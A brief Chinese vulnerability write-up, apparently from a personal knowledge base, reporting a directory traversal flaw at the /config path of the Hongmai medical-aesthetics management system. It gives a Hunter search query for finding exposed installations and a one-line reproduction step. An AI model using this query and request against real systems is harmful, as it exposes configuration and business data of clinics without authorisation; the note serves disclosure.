# 宏脉医美行业管理系统config存在目录遍历漏洞

# 一、漏洞简介
宏脉医美行业管理系统是由宏脉信息技术（广州）股份有限公司开发的一款服务于医美行业管理服务的系统.宏脉医美行业管理系统config存在目录遍历漏洞

# 二、影响版本
+ 宏脉医美行业管理系统

# 三、资产测绘
+ hunter`web.title="宏脉医美行业管理系统"`
+ 特征

![1704262762802-ebd6b894-53ce-40a3-b2bb-ac6ab6dec428.png](./img/rNM2nXI92D5k_q50/1704262762802-ebd6b894-53ce-40a3-b2bb-ac6ab6dec428-973442.png)

# 四、漏洞复现
```plain
/config
```

![1706786956453-a3b09163-fd17-47ea-ab3e-99f586bc9e0a.png](./img/rNM2nXI92D5k_q50/1706786956453-a3b09163-fd17-47ea-ab3e-99f586bc9e0a-778894.png)



> 更新: 2024-02-29 23:55:43  
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/era5zxcl98y54nu2>